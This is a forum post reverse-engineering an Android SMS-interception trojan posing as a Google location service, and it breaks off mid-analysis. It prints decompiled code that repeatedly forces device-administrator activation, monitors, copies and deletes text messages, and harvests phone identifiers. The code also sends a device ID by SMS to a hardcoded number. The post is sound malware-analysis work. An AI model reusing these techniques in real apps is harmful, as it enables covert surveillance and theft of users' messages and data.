吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 41066|回复: 60
收起左侧

[移动样本分析] 对恶意APP"Google Server"的逆向分析

  [复制链接]
wnagzihxain 发表于 2016-7-13 22:32
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 wnagzihxain 于 2016-7-22 11:05 编辑

忘了什么时候收到的样本了,加了混淆,不过慢慢分析都能分析出来,没有涉及到so的逆向

报告名称:对恶意APP”Google Service”的逆向分析                                               
作者:wnagzihxain                                                     
报告更新日期:2016.7.13
样本发现日期:不详                                    
样本类型:短信拦截                                          
样本文件大小/被感染文件变化长度:   
样本文件MD5 校验值:               
样本文件SHA1 校验值:            
壳信息:无                                                   
可能受到威胁的系统:安卓                  
相关漏洞:安卓设备管理器漏洞                                                
已知检测名称:无

Application类优先于 Activity执行,一般来说,可以在这里执行一些初始化操作,还有些全局变量可以放在这里
[Java] 纯文本查看 复制代码
package com.google.process.locations;
 
import android.app.Application;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.os.Build$VERSION;
import java.util.List;
 
public class GoogleApplication extends Application {
    public static GoogleApplication GoogleApplication_this;
    public static String String_id;
    public static String String_model;
    public static boolean sp_Boolean_mode;
    public static boolean Boolean_b_notuse;
    public static boolean Boolean_c;  // 信号量
    public static boolean Boolean_sharedpreferences_send;
    public static boolean Boolean_e;
 
    public GoogleApplication() {
        super();
    }
 
    public static String get_RunningTasks_TopActivity(Context context) {
        String String_Result;
        List List_RunningTask = context.getSystemService("activity").getRunningTasks(1);
        if(!List_RunningTask.isEmpty()) {
            ComponentName object_componentname = List_RunningTask.get(0).topActivity;
            if(!object_componentname.getPackageName().equals(context.getPackageName())) {
                String_Result = object_componentname.getPackageName();
            }
            else {
                goto label_15;
            }
        }
        else {
        label_15:
            String_Result = null;
        }
 
        return String_Result;
    }
 
    private void Registe_Receiver_startGLServer() {
        Receiver_startGLServer receiver_startGLServer = new Receiver_startGLServer();
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.TIME_TICK"));  // 每分钟
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_ON"));  // 开屏幕
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_OFF"));  // 关屏幕
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.BATTERY_CHANGED"));  // 电量变化
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.CONFIGURATION_CHANGED"));  // 配置变化
    }
 
    private void Init_sharedpreferences_mode() {
        SharedPreferences sharedpreferences = this.getSharedPreferences("app_preferences", 0);  // 读取配置
        GoogleApplication.sp_Boolean_mode = sharedpreferences.getBoolean("mode", false);  // 获取mode键值,不存在则返回false
        if((GoogleApplication.sp_Boolean_mode) && Build$VERSION.SDK_INT > 18) {
            GoogleApplication.sp_Boolean_mode = false;
            sharedpreferences.edit().putBoolean("mode", GoogleApplication.sp_Boolean_mode).commit();
        }
    }
 
    public void onCreate() {
        super.onCreate();
        GoogleApplication.GoogleApplication_this = this;
        my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(  // 崩溃处理
                this.getApplicationContext());
        this.Init_sharedpreferences_mode();
        this.Registe_Receiver_startGLServer();
    }
}
找到onCreate()方法

这是处理崩溃的,一般开发里常用的处理兼容性的写法
[Java] 纯文本查看 复制代码
my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(this.getApplicationContext());
跟过去看看
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
import android.content.Context;
importandroid.content.pm.PackageInfo;
import android.content.pm.PackageManager$NameNotFoundException;
import android.os.Build;
import android.os.Process;
import java.lang.reflect.Field;
import java.util.Properties;
public classmy_Thread_UncaughtExceptionHandler implements Thread$UncaughtExceptionHandler {
    private staticmy_Thread_UncaughtExceptionHandler my_Thread_UncaughtExceptionHandler_this;
    private Context context;
    private Thread$UncaughtExceptionHandlerThread_UncaughtExceptionHandler_this;
    private Properties object_properties;
    privatemy_Thread_UncaughtExceptionHandler() {
        super();
        this.object_properties = newProperties();
    }
    public staticmy_Thread_UncaughtExceptionHandler get_my_Thread_UncaughtExceptionHandler() {
        if(my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this== null) {
           my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this= new my_Thread_UncaughtExceptionHandler();
        }
        returnmy_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this;
    }
    private boolean a(Throwableobject_Throwable) {
        if(object_Throwable != null) {
            this.b(this.context);
        }
        return 1;
    }
    public voidsetDefaultUncaughtExceptionHandler(Context context) {
        this.context = context;
       this.Thread_UncaughtExceptionHandler_this =Thread.getDefaultUncaughtExceptionHandler();
       Thread.setDefaultUncaughtExceptionHandler(((Thread$UncaughtExceptionHandler)this));
    }
    public void b(Context context) {
        try {
            PackageInfo object_PackageInfo =context.getPackageManager().getPackageInfo(context.getPackageName(),
                    1);
            if(object_PackageInfo == null) {
                goto label_16;
            }
            Properties v2 =this.object_properties;
            String String_versionName ="versionName";
            String v0_1 =object_PackageInfo.versionName == null ? "not set" :object_PackageInfo.versionName;
            v2.put(String_versionName, v0_1);
           this.object_properties.put("versionCode",Integer.valueOf(object_PackageInfo.versionCode));
        }
       catch(PackageManager$NameNotFoundException v0) {
        }
    label_16:
        Field[] v1_1 = Build.class.getDeclaredFields();
        int v2_1 = v1_1.length;
        int i;
        for(i = 0; i < v2_1; ++i) {
            Field object_field_temp = v1_1;
            try {
               object_field_temp.setAccessible(true);
                this.object_properties.put(object_field_temp.getName(),object_field_temp.get(null));
            }
            catch(Exception v3_2) {
            }
        }
    }
    public void uncaughtException(Thread arg2,Throwable arg3) {
        if((this.a(arg3)) ||this.Thread_UncaughtExceptionHandler_this == null) {
           Process.killProcess(Process.myPid()); // kill掉Process然后会重启
            System.exit(10);
        }
        else {
           this.Thread_UncaughtExceptionHandler_this.uncaughtException(arg2, arg3);
        }
    }
}
关键的地方就是killProcess,这个方法在killProcess后会重启APP

其它地方的代码都很常规,没有什么好看的,继续看Application里的代码

初始化sp文件里的mode键值
[Java] 纯文本查看 复制代码
this.Init_sharedpreferences_mode();
这个键值非常关键,影响了后面很多的代码逻辑

先获取mode键值,不存在则返回false,,接下来进行判断,如果SDK_INK大于18modetrue则将mode写入sp文件,值为false,这个ifAPP第一次运行的时候不会运行

因为第一次运行不存在mode键值,所以为false,唯一的可能就是在后面的代码逻辑中会有将mode置为true的代码并且写入了sp文件,但是在后面的代码中并没有将mode置为true并写入sp文件的相关代码

所以这个if是不会执行的,所以不管哪一次启动,mode的初始值都是false
[Java] 纯文本查看 复制代码
private voidInit_sharedpreferences_mode() {
        SharedPreferences sharedpreferences =this.getSharedPreferences("app_preferences", 0);  // 读取配置
        GoogleApplication.sp_Boolean_mode =sharedpreferences.getBoolean("mode", false);  // 获取mode键值,不存在则返回false
        if((GoogleApplication.sp_Boolean_mode)&& Build$VERSION.SDK_INT > 18) {
            GoogleApplication.sp_Boolean_mode =false;
            sharedpreferences.edit().putBoolean("mode",GoogleApplication.sp_Boolean_mode).commit();
        }
}
然后注册一个服务
[Java] 纯文本查看 复制代码
this.Registe_Receiver_startGLServer();
方式为动态注册,Action为:每分钟,开屏幕,关屏幕,电量变化,手机配置变化
[Java] 纯文本查看 复制代码
private voidRegiste_Receiver_startGLServer() {
        Receiver_startGLServerreceiver_startGLServer = new Receiver_startGLServer();
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.TIME_TICK"));  // 每分钟
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_ON"));  // 开屏幕
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_OFF"));  // 关屏幕
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.BATTERY_CHANGED"));  // 电量变化
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.CONFIGURATION_CHANGED")); // 配置变化
}
来看Receiver_startGLServer()GoogleApplication.Boolean_b_notuse这个变量在全局都只有被赋值的语句,并没有参与任何逻辑判断或者作为数据发送出去,所以核心代码就是启动GoogleLocationService.class
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class Receiver_startGLServerextends BroadcastReceiver {
    public Receiver_startGLServer() {
        super();
    }
    public void onReceive(Context context,Intent intent) {
       if(intent.getAction().equals("android.intent.action.TIME_TICK")){
            GoogleApplication.Boolean_b_notuse= true;
        }
        context.startService(newIntent(context, GoogleLocationService.class));
    }
}
既然GoogleLocationService这个Service这么重要,那就好好的分析一下

找到关键的四个方法,这四个方法是常规service都会有的,在第一次启动这个service的时候会先执行onCreate()里的代码,然后执行onStartCommand()里的代码

这两个方法不同的地方在于初次启动service的时候会先执行onCreate(),然后执行onStartCommand()方法,而启动了service之后,再次启动service的时候只会执行onStartCommand()方法

onBind()方法这里没有使用就不讲了,onDestroy()是结束service时执行的代码
[Java] 纯文本查看 复制代码
public IBinder onBind(Intent intent) {
        return null;
    }

    public void onCreate() {
        Intent intent = new Intent(this.getApplicationContext(), GoogleLocationService.class);
        this.object_AlarmManager = this.getSystemService("alarm");
        this.object_PendingIntent = PendingIntent.getService(((Context)this), 0, intent, 268435456);
        this.object_AlarmManager.setInexactRepeating(1, System.currentTimeMillis(), 5000, this.object_PendingIntent);
        super.onCreate();
        this.onCreate_Continue();
    }

    public void onDestroy() {
        if(this.thread != null) {
            this.thread.interrupt();
        }
        super.onDestroy();
    }

    public int onStartCommand(Intent intent, int arg4, int arg5) {
        if(!GoogleApplication.Boolean_e) {
            if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
                this.Start_Runnable_Confirm_ActiveAdmin();
            }
        }
        else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
            this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
        }
        else {
            this.Uninstall_itself();
        }
        if(GoogleApplication.String_id == null) {
            this.Init_sharedpreferences_id_model();
        }
        else {
            if(!GoogleApplication.Boolean_c) {
                Class_i.get_NewFileSend(((Context)this));
            }
            GoogleApplication.Boolean_b_notuse = false;
            this.Start_Thread_e();
        }

        return 1;
    }

一个个看过去,先来看onCreate()

这些都不重要
[Java] 纯文本查看 复制代码
Intent intent = newIntent(this.getApplicationContext(), GoogleLocationService.class);
this.object_AlarmManager =this.getSystemService("alarm");
this.object_PendingIntent =PendingIntent.getService(((Context)this), 0, intent, 268435456);
this.object_AlarmManager.setInexactRepeating(1,System.currentTimeMillis(), 5000, this.object_PendingIntent);
super.onCreate();
重要的是最后一句
[Java] 纯文本查看 复制代码
this.onCreate_Continue();
跟过去
[Java] 纯文本查看 复制代码
private voidonCreate_Continue() {
        this.object_DevicePolicyManager =this.getSystemService("device_policy");
        this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
        this.Start_Runnable_Confirm_ActiveAdmin();
       this.Init_sharedpreferences_id_model(); // 初始化sharedpreferences的id和model键值,存在就获取,不存在则创建
        this.RegisteSMSContentObserver();  // 注册短信监控
       this.StoreHistorySMSmessage(false); // 获取之前的短信并存储在本地
        this.StoreInformationofPhone(false);  // 获取手机信息并存储在本地
}
一句一句来看,这是一个确定激活的Runnable
[Java] 纯文本查看 复制代码
this.Start_Runnable_Confirm_ActiveAdmin();
开了个线程执行Runnable_Confirm_ActiveAdmin
[Java] 纯文本查看 复制代码
private voidStart_Runnable_Confirm_ActiveAdmin() {
        if(this.thread == null) {
            this.thread = new Thread(newRunnable_Confirm_ActiveAdmin(this));
            this.thread.start();
        }
}
跟过去

当获取了设备管理器就跳出while,否则会一直在while里循环,而循环的内容则是执行call_Confirm_ActiveAdmin_InActivity()
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
classRunnable_Confirm_ActiveAdmin implements Runnable {
   Runnable_Confirm_ActiveAdmin(GoogleLocationService arg1) {
        this.GoogleLocationService_this = arg1;
        super();
    }
    public void run() {
       while(!GoogleLocationService.get_object_DevicePolicyManager(this.GoogleLocationService_this).isAdminActive(GoogleLocationService.get_object_ComponentName(this.GoogleLocationService_this))){
            String String_RunningTasks_TopActivityName=GoogleApplication.get_RunningTasks_TopActivity(GoogleApplication.GoogleApplication_this);
           if(String_RunningTasks_TopActivityName == null ||!String_RunningTasks_TopActivityName.equals("com.android.settings")){
                GoogleLocationService.call_Confirm_ActiveAdmin_InActivity(this.GoogleLocationService_this);
            }
            long sleep_time = 300;
            try {
                Thread.sleep(sleep_time);
                continue;
            }
            catch(InterruptedException v0_2) {
                return;
            }
        }
    }
}
看一下call_Confirm_ActiveAdmin_InActivity()
[Java] 纯文本查看 复制代码
static void call_Confirm_ActiveAdmin_InActivity(GoogleLocationServiceGoogleLocationService_this) {
        GoogleLocationService_this.Confirm_ActiveAdmin_InActivity();
}
关键还是Confirm_ActiveAdmin_InActivity()
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.KeyEvent;
public classConfirm_ActiveAdmin_InActivity extends Activity {
    private ComponentName object_ComponentName;
    private DevicePolicyManagerobject_DevicePolicyManager;
    public Confirm_ActiveAdmin_InActivity() {
        super();
    }
    private void ActiveAdmin() {
        this.object_DevicePolicyManager =this.getSystemService("device_policy");
        this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
       if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
            Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
           intent.putExtra("android.app.extra.DEVICE_ADMIN", this.object_ComponentName);
            this.startActivity(intent);
        }
    }
    private voidStartService_GoogleLocationService() {
        this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
    }
    public void onAttachedToWindow() {
        this.getWindow().setType(2004);
        super.onAttachedToWindow();
    }
    protected void onCreate(Bundle arg3) {
        super.onCreate(arg3);
        this.getWindow().setFlags(-2147483648,-2147483648);
        this.ActiveAdmin();
       this.StartService_GoogleLocationService();
        this.finish();
    }
    public boolean onKeyDown(int arg2, KeyEventarg3) {
        boolean Boolean_Result = arg2 == 3 ?true : super.onKeyDown(arg2, arg3);
        return Boolean_Result;
    }
}
作用很简单,就是隐式意图开启激活设备管理器,不管激活没有,直接开启GoogleLocationService,综合一下来看,如果激活这个分支就不会执行,如果没有激活那么会一直弹出激活窗口,即使关掉了也会打开

激活的部分就是这样,正常情况下只有激活才能退出那个窗口

然后会初始化sharedpreferencesidmodel键值,存在就获取,不存在则创建
[Java] 纯文本查看 复制代码
this.Init_sharedpreferences_id_model();
如果String_idString_model任意一个为空,则进入if语句执行,现从sp文件获取idmodelkey的键值,然后进行判断,key的值是idmodel等数据进行md5计算得出的

这里还有对key的判断,如果key的值不对或者idmodel为空,执行Create_sharedpreferences_id(),再执行Prompt(),然后再获取model的值,接着进行key的计算,最后将idmodelkey写入sp文件
[Java] 纯文本查看 复制代码
private voidInit_sharedpreferences_id_model() {
        String String_NULL = null;
        if(GoogleApplication.String_id == null|| GoogleApplication.String_model == null) {
            SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
            String int_id =object_SharedPreferences.getString("id", String_NULL);
            String int_model =object_SharedPreferences.getString("model", String_NULL);
            String int_key =object_SharedPreferences.getString("key", String_NULL);
            if(int_id == null || int_model ==null || int_key == null || !Class_i.get_MD5(String.valueOf(int_id) + int_model+ "app").equals(int_key)) {
                int_id =Class_i.Create_sharedpreferences_id(((Context)this));
                this.Prompt(int_id);
                int_model =Class_i.get_Build_MODEL();
                int_key =Class_i.get_MD5(String.valueOf(int_id) + int_model + "app");
                SharedPreferences$EditorSharedPreferences_Editor = object_SharedPreferences.edit();
               SharedPreferences_Editor.putString("id", int_id);
               SharedPreferences_Editor.putString("model", int_model);
               SharedPreferences_Editor.putString("key", int_key);
               SharedPreferences_Editor.commit();
            }
            GoogleApplication.String_id =int_id;
            GoogleApplication.String_model =int_model;
        }
}
来看Create_sharedpreferences_id()方法

获取了一大堆手机的信息,然后算md5
[Java] 纯文本查看 复制代码
public static StringCreate_sharedpreferences_id(Context context) {
        MessageDigest object_MessageDigest;
        String object_String =String.valueOf(context.getSystemService("phone").getDeviceId()) +("35"
                 + Build.BOARD.length() % 10 +Build.BRAND.length() % 10 + Build.CPU_ABI.length() %
                10 + Build.DEVICE.length() % 10+ Build.DISPLAY.length() % 10 + Build.HOST.length() %
                10 + Build.ID.length() % 10 +Build.MANUFACTURER.length() % 10 + Build.MODEL.length()
                 % 10 + Build.PRODUCT.length()% 10 + Build.TAGS.length() % 10 + Build.TYPE.length()
                 % 10 + Build.USER.length() %10) + Settings$Secure.getString(context.getContentResolver(),
                "android_id") +context.getSystemService("wifi").getConnectionInfo().getMacAddress();
        try {
            object_MessageDigest =MessageDigest.getInstance("MD5");
        }
        catch(NoSuchAlgorithmException v0_1) {
            MessageDigest object_MessageDigest= object_MessageDigest;
            return object_String;
        }
       object_MessageDigest.update(object_String.getBytes(), 0,object_String.length());
        byte[] ByteArray_temp =object_MessageDigest.digest();
        String String_Result = new String();
        int i;
        for(i = 0; i <ByteArray_temp.length; ++i) {
            int int_temp = ByteArray_temp& 255;
            if(int_temp <= 15) {
                String_Result =String.valueOf(String_Result) + "0";
            }
            String_Result =String.valueOf(String_Result) + Integer.toHexString(int_temp);
        }
        return String_Result.toUpperCase();
}
Prompt()方法就是将获取到的id发送给木马作者
[Java] 纯文本查看 复制代码
void Prompt(String messageText){
       SmsManager.getDefault().sendTextMessage("18839763762", null,messageText, null, null);
    }
然后get_MD5()
[Java] 纯文本查看 复制代码
public static final Stringget_MD5(String arg5) {
        try {
            byte[] ByteArray_1 = arg5.getBytes("utf-8");
            MessageDigest object_MessageDigest= MessageDigest.getInstance("MD5");
           object_MessageDigest.update(ByteArray_1);
            byte[]ByteArray_object_MessageDigest = object_MessageDigest.digest();
            StringBufferobject_StringBuffer_Result = new StringBuffer();
            int i;
            for(i = 0; i <ByteArray_object_MessageDigest.length; ++i) {
                int int_temp =ByteArray_object_MessageDigest & 255;
                if(int_temp < 16) {
                    object_StringBuffer_Result.append("0");
                }
               object_StringBuffer_Result.append(Integer.toHexString(int_temp));
            }
            Stringobject_StringBuffer_Result_toString = object_StringBuffer_Result.toString();
            returnobject_StringBuffer_Result_toString;
        }
        catch(Exception v0) {
            return "";
        }
}
接着注册短信监控
[Java] 纯文本查看 复制代码
this.RegisteSMSContentObserver();    
主要代码在这里ContentObserver_SMS
[Java] 纯文本查看 复制代码
private voidRegisteSMSContentObserver() {
       this.getContentResolver().registerContentObserver(Uri.parse("content://sms/"),true, new ContentObserver_SMS(this, new Handler()));
}
跟过去
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
importandroid.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import org.json.JSONException;
import org.json.JSONObject;
class ContentObserver_SMSextends ContentObserver {
    private Cursor b;
    publicContentObserver_SMS(GoogleLocationService arg2, Handler arg3) {
        this.GoogleLocationService_this = arg2;
        super(arg3);
        this.b = null;
    }
    public void onChange(boolean arg9) {
        super.onChange(arg9);
        Cursor object_cursor =this.GoogleLocationService_this.getContentResolver().query(Uri.parse("content://sms/"),new String
                []{"_id","address", "person", "body", "date","type"}, null, null, "_id desc");
        if(object_cursor.getCount() > 0&& (object_cursor.moveToFirst())) {
            int int_address_Index =object_cursor.getColumnIndex("address");
            int int_body_Index =object_cursor.getColumnIndex("body");
            int int_date_Index =object_cursor.getColumnIndex("date");
            int int_type_Index = object_cursor.getColumnIndex("type");
            String String_sourceAddress =object_cursor.getString(int_address_Index);
            String String_body =object_cursor.getString(int_body_Index);
            String String_date =object_cursor.getString(int_date_Index);
            int_type_Index =object_cursor.getInt(int_type_Index);
            JSONObject object_jsonobject = newJSONObject();
            try {
               object_jsonobject.put("number", String_sourceAddress);
                object_jsonobject.put("time",String_date);
               object_jsonobject.put("body", String_body);
               object_jsonobject.put("type", int_type_Index);
                if(int_type_Index % 2 == 1&& (GoogleApplication.sp_Boolean_mode)) {
                    Class_i.Delete_SMSmessage(this.GoogleLocationService_this.getApplicationContext(),String_body);
                }
               Class_i.CopyStoreNewSMSmessage(this.GoogleLocationService_this, 4,object_jsonobject);
            }
            catch(JSONException v1_2) {
            }
        }
        object_cursor.close();
    }
}
当短信数量变化的时候,会有两个方法被执行Delete_SMSmessage(),CopyStoreNewSMSmessage()

第一个方法会在if里判断,一个是收发类型,另一个是mode的键值,mode的键值只会在后面一个地方被设置为true,并且要求SDK_INT不大于18

但是还是来看一下
[Java] 纯文本查看 复制代码
public static voidDelete_SMSmessage(Context context, String arg7) {
        try {
            Cursor object_cursor =context.getContentResolver().query(Uri.parse("content://sms/inbox"),null, "read=0", null, null);
            while(object_cursor.moveToNext()) {
               if(!object_cursor.getString(object_cursor.getColumnIndex("body")).trim().equals(arg7)){
                    continue;
                }
               context.getContentResolver().delete(Uri.parse("content://sms"),"_id=" + object_cursor.getInt(object_cursor.getColumnIndex("_id")),null);
            }
            return;
        }
        catch(Exception v0) {
            return;
        }
}
然后就是存储短信了,这个方法是一定会执行的
[Java] 纯文本查看 复制代码
public static voidCopyStoreNewSMSmessage(Context context, int arg7, JSONObjectobject_jsonobject_param) {
        try {
            long Long_currenttime =System.currentTimeMillis();
            String String_currenttime = newStringBuilder(String.valueOf(Long_currenttime)).toString();
            JSONObject object_jsonobject = newJSONObject();
           object_jsonobject.put("id", GoogleApplication.String_id);
           object_jsonobject.put("model",GoogleApplication.String_model);
            object_jsonobject.put("time",Long_currenttime);
           object_jsonobject.put("type", arg7);
           object_jsonobject.put("data", object_jsonobject_param);
            FileOutputStreamobject_FileOutputStream = context.openFileOutput(String_currenttime, 0);
           object_FileOutputStream.write(object_jsonobject.toString().getBytes());
            object_FileOutputStream.flush();
            object_FileOutputStream.close();
        }
        catch(Exception v0) {
        }
}
短信监控的代码就这些,继续看onCreate_Continue()的代码

获取之前的短信并存储在本地
[Java] 纯文本查看 复制代码
this.StoreHistorySMSmessage(false);
history键值判断是否存储过历史短信
[Java] 纯文本查看 复制代码
private void StoreHistorySMSmessage(booleanarg15) {
        SharedPreferences object_SharedPreferences= this.getSharedPreferences("app_preferences", 0);
        booleanBoolean_sharedpreferences_history =object_SharedPreferences.getBoolean("history", false);  // 使用history键值来判断是否发送过历史短信
        if((arg15) ||!Boolean_sharedpreferences_history) {
            JSONArray object_JSONArray = newJSONArray();
            try {
                Cursor object_cursor =this.getContentResolver().query(Uri.parse("content://sms/"), newString[]{"_id", "address", "person","body", "date", "type"}, null, null, "datedesc");
               if(!object_cursor.moveToFirst()) {
                    goto label_74;
                }
                int sms_address_Index =object_cursor.getColumnIndex("address");
                int sms_body_Index =object_cursor.getColumnIndex("body");
                int sms_date_Index =object_cursor.getColumnIndex("date");
                int sms_type_Index =object_cursor.getColumnIndex("type");
                do {
                label_51:
                    String sms_SourceAddress =object_cursor.getString(sms_address_Index);
                    String sms_Body =object_cursor.getString(sms_body_Index);
                    String sms_Date =object_cursor.getString(sms_date_Index);
                    String sms_Type =object_cursor.getString(sms_type_Index);
                    JSONObjectobject_jsonobject = new JSONObject();
                    try {
                       object_jsonobject.put("number", sms_SourceAddress);
                       object_jsonobject.put("time", sms_Date);
                       object_jsonobject.put("body", sms_Body);
                       object_jsonobject.put("type", sms_Type);
                       object_JSONArray.put(object_jsonobject);
                    }
                    catch(JSONException v5_1) {
                    }
                    break;
                }
                while(true);
            }
            catch(SQLiteException v0_1) {
                goto label_74;
            }
            try {
                if(object_cursor.moveToNext()){
                    goto label_51;
                }
                JSONObject object_jsonobject =new JSONObject();
                try {
                   object_jsonobject.put("body", object_JSONArray);
                   Class_i.CopyStoreNewSMSmessage(((Context)this), 3, object_jsonobject);
                }
                catch(JSONException v0_4) {
                }
            }
            catch(SQLiteException v0_1) {
            }
        label_74:
           object_SharedPreferences.edit().putBoolean("history",true).commit();
        }
    }
获取手机信息并存储在本地
[Java] 纯文本查看 复制代码
this.StoreInformationofPhone(false);
num的键值是用于判断是否获取过手机信息,除非arg11true,也就是木马作者人工获取

同时mode在这也作为条件进行判断,当sp_modefalsemode1sp_modetruemode2,然后存储在本地,最后将Boolean_sharedpreferences_send置为true
[Java] 纯文本查看 复制代码
private voidStoreInformationofPhone(boolean arg11) {
        int v0_4;
        int v1 = 2;
        SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
        boolean Boolean_sharedpreferences_num =object_SharedPreferences.getBoolean("num", false);
        if((arg11) ||!Boolean_sharedpreferences_num) {
            Object object_Phone =this.getSystemService("phone");
           if(((TelephonyManager)object_Phone).getSimState() == 5) {
                String PhoneNumber =((TelephonyManager)object_Phone).getLine1Number();  // 手机号
                String SimSerialNumber =((TelephonyManager)object_Phone).getSimSerialNumber();  // SIM卡的序列号
                String SubscriberId =((TelephonyManager)object_Phone).getSubscriberId();  // 唯一的用户ID
                String Build_VERSION_SDK_INT =new StringBuilder(String.valueOf(Build$VERSION.SDK_INT)).toString();  // SDK版本
                String Build_VERSION_RELEASE =Build$VERSION.RELEASE;  // 系统版本
                JSONObject object_JSONObject =new JSONObject();
                try {
                   object_JSONObject.put("tel", PhoneNumber);
                   object_JSONObject.put("imei", SimSerialNumber);
                   object_JSONObject.put("imsi", SubscriberId);
                   object_JSONObject.put("sdk", Build_VERSION_SDK_INT);
                   object_JSONObject.put("release", Build_VERSION_RELEASE);
                    PhoneNumber ="mode";
                   if(GoogleApplication.sp_Boolean_mode) {
                        v0_4 = v1;
                    }
                    else {
                        goto label_51;
                    }
                    goto label_39;
                }
                catch(JSONException v0_3) {
                    goto label_54;
                }
            label_51:
               v0_4 = 1;
                try {
                label_39:
                   object_JSONObject.put(PhoneNumber, v0_4);
                   Class_i.CopyStoreNewSMSmessage(((Context)this), 2, object_JSONObject);
                }
                catch(JSONException v0_3) {
                label_54:
                }
               object_SharedPreferences.edit().putBoolean("num",true).commit();
            }
        }
        if(!arg11) {
            GoogleApplication.Boolean_sharedpreferences_send= object_SharedPreferences.getBoolean("send", true);
        }
}
到这结束了onCreate()方法,总结一下:先进性设备管理器的激活,如果未激活就一直弹出激活界面,用户激活后就会进行初始化idmodel的操作,并根据idmodel生产md5

三个值一起存储在本地,初始化了之后进行注册短信监控,有新短信的时候就会复制下来并存储在本地,并根据mode的键值确定要不要删除,接着是获取之前的短信,存储在本地

最后获取手机的信息存储在本地,最后两个方法会根据historynum键值进行判断,如果为true说明已经获取过了就不会再执行

接下来是onStartCommand()方法

判断激活,未激活会跳回去激活,Boolean_e的作用很微妙,主要是作者远程控制的作用

Boolean_e初始值为false,并且只有一个地方会修改为true,就是和服务器通信的部分,所以目前来说只会执行if里的语句,如果已激活,则直接跳过下面两个分支
[Java] 纯文本查看 复制代码
if(!GoogleApplication.Boolean_e){
           if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
               this.Start_Runnable_Confirm_ActiveAdmin();
            }
        }
如果Boolean_etrue,说明是作者发送回来的数据改变了Boolean_e的值,如果恰好是已激活的话,就去除激活
[Asm] 纯文本查看 复制代码
else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
           this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
        }
如果Boolean_etrue,并且未激活,则卸载
[Java] 纯文本查看 复制代码
else {
            this.Uninstall_itself();
        }
这三个判断分支连起来的意思就是Boolean_etrue的时候就去除激活并卸载,方式是通过和服务器通信来设置Boolean_e的值

卸载的代码
[Java] 纯文本查看 复制代码
private void Uninstall_itself(){
        Intent intent = new Intent();
       intent.setAction("android.intent.action.DELETE");
        intent.addFlags(268435456);
       intent.setData(Uri.parse("package:com.google.process.locations"));
        this.startActivity(intent);
    }
接着判断id是否为空,为空则获取,一般来说前面会获取的,这里估计是为了保险起见所以再次判断,如果已获取id值,则根据Boolean_c的值决定是否执行get_NewFileSend()方法,Boolean_b_notuse是没有作用的,最后执行Start_Thread_e()
[Java] 纯文本查看 复制代码
if(GoogleApplication.String_id== null) {
           this.Init_sharedpreferences_id_model();
        }
        else {
            if(!GoogleApplication.Boolean_c) {
               Class_i.get_NewFileSend(((Context)this));
            }
            GoogleApplication.Boolean_b_notuse= false;
            this.Start_Thread_e();
        }
来看get_NewFileSend()

这个方法的东西很有料,下面慢慢讲
[Java] 纯文本查看 复制代码
public static voidget_NewFileSend(Context context) {
        String[] String_filelist =Class_i.get_all_file_list(context);
        if(String_filelist != null &&String_filelist.length > 0) {
            TreeSet object_TreeSet = newTreeSet();
           object_TreeSet.addAll(Arrays.asList(((Object[])String_filelist)));
            GoogleApplication.Boolean_c =true;  // 把这个设置为true,这样检测新文件的时候就不会重复执行
            newThread_SendandDelete_file(object_TreeSet, context).start();
        }
}
首先get_all_file_list()
[Java] 纯文本查看 复制代码
